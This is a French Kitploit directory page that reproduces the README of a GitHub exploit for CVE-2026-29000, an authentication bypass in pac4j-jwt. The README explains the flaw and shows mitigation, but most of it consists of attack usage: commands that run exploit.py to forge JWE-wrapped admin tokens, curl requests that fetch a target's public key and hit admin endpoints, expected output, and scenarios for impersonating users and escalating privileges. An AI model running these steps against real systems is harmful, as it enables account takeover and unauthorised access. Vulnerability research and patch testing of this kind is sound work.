Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2026-29000 — Exploit pour CVE-2026-29000, un contournement d'authentification JWT dans pac4j-jwt via PlainJWT encapsulé en JWE, permettant la falsification de jetons et l'escalade de privilèges. | Kitploit
Outils/GitHubGitHub/rootx111/cve-2026-29000
Authentification et AutorisationAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubrootx111/cve-2026-29000

cve-2026-29000

Exploit pour CVE-2026-29000, un contournement d'authentification JWT dans pac4j-jwt via PlainJWT encapsulé en JWE, permettant la falsification de jetons et l'escalade de privilèges.

Voir le dépôt
21il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Exploit CVE-2026-29000

Contournement de l'authentification JWT dans pac4j-jwt via PlainJWT encapsulé en JWE

Description de la vulnérabilité

CVE-2026-29000 est une vulnérabilité critique de contournement de l'authentification affectant les versions de pac4j-jwt antérieures à 4.5.9, 5.7.9 et 6.3.3. La vulnérabilité permet à des attaquants distants de forger des jetons d'authentification et de contourner la vérification de signature.

Détails techniques

La vulnérabilité existe dans le composant JwtAuthenticator lors du traitement des JWT chiffrés (JWE). Lorsqu'un jeton JWE est reçu :

  1. Le serveur déchiffre le JWE à l'aide de sa clé privée RSA
  2. Le contenu déchiffré révèle un JWT interne
  3. VULNÉRABILITÉ : Le serveur extrait les revendications du JWT interne sans vérifier sa signature
  4. Les attaquants peuvent créer un JWE qui encapsule un PlainJWT (algorithme : « none ») avec des revendications arbitraires

Conditions requises pour l'attaque

  • Accès à la clé publique RSA du serveur (souvent exposée via le point de terminaison JWKS)
  • Capacité à envoyer des jetons forgés à l'application vulnérable

Impact

  • Contournement complet de l'authentification : Les attaquants peuvent s'authentifier en tant que n'importe quel utilisateur
  • Élévation de privilèges : Peut attribuer des rôles arbitraires, y compris des rôles d'administrateur
  • Détournement de session : Peut usurper l'identité d'utilisateurs légitimes sans informations d'identification

Versions affectées

  • pac4j-jwt < 4.5.9
  • pac4j-jwt < 5.7.9
  • pac4j-jwt < 6.3.3

Contenu du dépôt

  • exploit.py - Script d'exploitation Python pour générer des jetons malveillants
  • vulnerable_server.py - Serveur de démonstration simulant la vulnérabilité
  • requirements.txt - Dépendances Python
  • README.md - Ce fichier

Installation

Prérequis

  • Python 3.8 ou version ultérieure
  • Gestionnaire de paquets pip

Configuration

root@kitploit:~
# Cloner le dépôt
git clone https://github.com/RootX111/cve-2026-29000.git
cd cve-2026-29000

# Installer les dépendances
pip3 install -r requirements.txt

Utilisation

Étape 1 : Démarrer le serveur de test vulnérable

root@kitploit:~
python3 vulnerable_server.py

Le serveur va :

  • Générer une paire de clés RSA (enregistrée dans server_private.pem et server_public.pem)
  • Démarrer sur http://127.0.0.1:5000
  • Exposer la clé publique à http://127.0.0.1:5000/public-key

Étape 2 : Obtenir la clé publique de la cible

Dans un scénario d'attaque réel, obtenez la clé publique du serveur cible :

root@kitploit:~
# Télécharger la clé publique depuis le point de terminaison JWKS
curl http://target-server.com/jwks > target_jwks.json

# Ou directement depuis le point de terminaison de la clé publique
curl http://target-server.com/public-key > target_public.pem

Pour le serveur de test :

root@kitploit:~
curl http://127.0.0.1:5000/public-key > server_public.pem

Étape 3 : Générer un jeton malveillant

Utilisez le script d'exploitation pour créer un PlainJWT encapsulé en JWE :

root@kitploit:~
# Utilisation de base - s'authentifier en tant qu'administrateur
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem

# S'authentifier en tant qu'utilisateur spécifique avec plusieurs rôles
python3 exploit.py --subject john.doe --roles ROLE_USER,ROLE_MANAGER --public-key server_public.pem

# Ajouter des revendications personnalisées
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
  --claims '{"email":"[email protected]","department":"IT"}'

# Enregistrer le jeton dans un fichier
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
  --output malicious_token.txt

Étape 4 : Tester l'attaque

Test contre le serveur vulnérable

root@kitploit:~
# Définir le jeton malveillant (copier depuis la sortie de exploit.py)
TOKEN="eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0NNIn0..."

# Accéder au point de terminaison public (devrait fonctionner)
curl http://127.0.0.1:5000/api/public

# Accéder au point de terminaison utilisateur avec le jeton malveillant (CONTOURNEMENT !)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user

# Accéder au point de terminaison administrateur avec le jeton malveillant (ÉLÉVATION DE PRIVILÈGES !)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

Sortie attendue du point de terminaison administrateur :

root@kitploit:~
{
  "status": "success",
  "message": "Admin endpoint accessed - RESTRICTED DATA",
  "user": "admin",
  "roles": ["ROLE_ADMIN"],
  "secret_data": "FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}",
  "admin_info": "This is sensitive administrative data"
}

Flux de travail complet de l'attaque

Commandes de test complètes

root@kitploit:~
# 1. Installer les dépendances
pip3 install -r requirements.txt

# 2. Démarrer le serveur vulnérable (dans le terminal 1)
python3 vulnerable_server.py

# 3. Dans un nouveau terminal, obtenir la clé publique
curl http://127.0.0.1:5000/public-key > server_public.pem

# 4. Générer un jeton administrateur malveillant
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt

# 5. Extraire le jeton dans une variable
TOKEN=$(cat token.txt)

# 6. Tester le point de terminaison public (référence - aucune authentification requise)
curl http://127.0.0.1:5000/api/public

# 7. Tester le point de terminaison utilisateur (devrait réussir avec notre jeton malveillant)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user

# 8. Tester le point de terminaison administrateur (SUCCÈS DE L'EXPLOIT - devrait accéder aux données restreintes)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

# 9. Vérifier que la réponse contient le drapeau
curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin | grep -o 'FLAG{.*}'

Scénarios d'attaque avancés

Scénario 1 : Usurper l'identité d'un utilisateur spécifique

root@kitploit:~
python3 exploit.py --subject [email protected] --roles ROLE_USER --public-key server_public.pem

Scénario 2 : Élever les privilèges jusqu'à administrateur

root@kitploit:~
python3 exploit.py --subject attacker --roles ROLE_ADMIN,ROLE_SUPERUSER --public-key server_public.pem

Scénario 3 : Injection de revendications personnalisées

root@kitploit:~
python3 exploit.py --subject hacker --roles ROLE_ADMIN --public-key server_public.pem \
  --claims '{"email":"[email protected]","isVerified":true,"permissions":["*"]}'

Options du script d'exploitation

root@kitploit:~
usage: exploit.py [-h] [--subject SUBJECT] [--roles ROLES] [--public-key PUBLIC_KEY]
                  [--claims CLAIMS] [--generate-keypair] [--output OUTPUT]

CVE-2026-29000: Generate malicious JWE-wrapped PlainJWT tokens

options:
  -h, --help            show this help message and exit
  --subject SUBJECT, -s SUBJECT
                        Subject (username) to impersonate
  --roles ROLES, -r ROLES
                        Comma-separated list of roles (e.g., ROLE_ADMIN,ROLE_USER)
  --public-key PUBLIC_KEY, -k PUBLIC_KEY
                        Path to RSA public key PEM file
  --claims CLAIMS, -c CLAIMS
                        Additional claims as JSON string
  --generate-keypair, -g
                        Generate a test RSA keypair and save to files
  --output OUTPUT, -o OUTPUT
                        Output file for the generated token

Comment fonctionne la vulnérabilité

Flux JWT normal (sécurisé)

root@kitploit:~
1. Le client envoie un JWT avec signature
2. Le serveur vérifie la signature avec la clé publique
3. Si valide, extrait les revendications
4. Accorde l'accès en fonction des revendications

Flux vulnérable (CVE-2026-29000)

root@kitploit:~
1. L'attaquant obtient la clé publique RSA du serveur
2. L'attaquant crée un PlainJWT (alg : none) avec des revendications arbitraires
   Exemple : {"sub": "admin", "roles": ["ROLE_ADMIN"]}
3. L'attaquant chiffre le PlainJWT en utilisant JWE avec la clé publique du serveur
4. Le serveur déchiffre le JWE avec succès
5. Le serveur extrait les revendications du PlainJWT interne SANS vérification de signature
6. Le serveur accorde l'accès en fonction des revendications forgées

Pourquoi cela fonctionne

La vulnérabilité se produit parce que :

  • JWE fournit la confidentialité, pas l'intégrité du contenu interne
  • Le serveur suppose que le succès du déchiffrement implique l'authenticité
  • PlainJWT (alg : none) n'a pas de signature à vérifier
  • Les revendications sont approuvées uniquement parce qu'elles ont été chiffrées

Atténuation

Pour les développeurs

  1. Mettre à jour pac4j-jwt vers la version 4.5.9, 5.7.9, 6.3.3 ou ultérieure
  2. Toujours vérifier les signatures des JWT internes après le déchiffrement JWE
  3. Rejeter les jetons PlainJWT (algorithme : « none »)
  4. Valider l'algorithme dans l'en-tête JWT par rapport à une liste blanche

Pour les administrateurs système

  1. Mettre à jour immédiatement les applications vulnérables
  2. Auditer les journaux d'authentification pour détecter toute activité suspecte
  3. Examiner les sessions utilisateur et révoquer les jetons suspects
  4. Envisager la mise en œuvre de couches d'authentification supplémentaires

Implémentation sécurisée

root@kitploit:~
def verify_jwe_token_secure(token, private_key):
    # 1. Déchiffrer le JWE
    inner_jwt = decrypt_jwe(token, private_key)

    # 2. Analyser l'en-tête du JWT interne
    header = parse_jwt_header(inner_jwt)

    # 3. CRITIQUE : Vérifier que l'algorithme n'est pas « none »
    if header.get('alg') == 'none':
        raise SecurityError("PlainJWT not allowed")

    # 4. CRITIQUE : Vérifier la signature du JWT interne
    if not verify_jwt_signature(inner_jwt, public_key):
        raise SecurityError("Invalid JWT signature")

    # 5. Extraire les revendications uniquement après vérification
    return extract_claims(inner_jwt)

Liste de contrôle des tests

  • Installer les dépendances : pip3 install -r requirements.txt
  • Démarrer le serveur vulnérable : python3 vulnerable_server.py
  • Obtenir la clé publique : curl http://127.0.0.1:5000/public-key > server_public.pem
  • Générer un jeton malveillant : python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem
  • Tester le point de terminaison public : curl http://127.0.0.1:5000/api/public
  • Tester le point de terminaison utilisateur avec le jeton : curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
  • Tester le point de terminaison administrateur avec le jeton :

Guide de démarrage rapide

root@kitploit:~
# Configuration et test en une seule ligne
pip3 install -r requirements.txt && \
python3 vulnerable_server.py &
sleep 2 && \
curl http://127.0.0.1:5000/public-key > server_public.pem && \
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt && \
TOKEN=$(cat token.txt) && \
echo "Testing exploit..." && \
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

Références

  • Avis CVE-2026-29000
  • Avis de sécurité pac4j
  • Aide-mémoire de sécurité JWT OWASP
  • RFC 7519 (JSON Web Token)
  • RFC 7516 (JSON Web Encryption)

Avertissement

Cet outil est fourni à des fins éducatives et de tests de sécurité autorisés uniquement. L'accès non autorisé à des systèmes informatiques est illégal. Utilisez cet outil uniquement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test.

Licence

Licence MIT - À des fins éducatives uniquement

Auteur

Chercheur en sécurité Date : 2026-03-16

Télécharger l’outil
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
  • Vérifier que le drapeau est obtenu : Rechercher FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}